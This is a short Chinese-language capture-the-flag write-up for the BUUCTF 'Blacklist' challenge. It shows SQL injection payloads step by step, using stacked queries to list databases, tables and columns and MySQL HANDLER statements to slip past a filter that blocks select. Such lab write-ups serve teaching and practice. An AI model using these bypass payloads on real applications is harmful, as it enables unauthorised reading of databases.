题目

点开靶机,页面显示为

查看源码

没有其他线索
先提交1试一下

猜测是sql注入,先测试

同时注意到url
![]()
提交为3-1,发现页面回显为空白

![]()
可以判断为字符型注入
输入select,看是否存在回显

回显了黑名单限制的关键字
但是发现没有限制关键字show,通过堆叠注入查数据库名
构造payload
1';show databases;#

判断列数
构造payload
1' order by 3#

可得有2列
获取表名
构造payload
1';show tables;

查表内数据。猜测flag在FlagHere表中
构造payload
1'; show columns from FlagHere;#

这里猜测flag在flag列中,尝试获取内容,但select被限制,可以使用handler作为查询语句
它可以通过指定的索引去访问数据,但此语法不支持DML操作
构造payload
1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#
得到flag

参考文章链接:
BUUCTF [GYCTF2020] Blacklist_buuctf [gyctf2020]blacklist-CSDN博客



















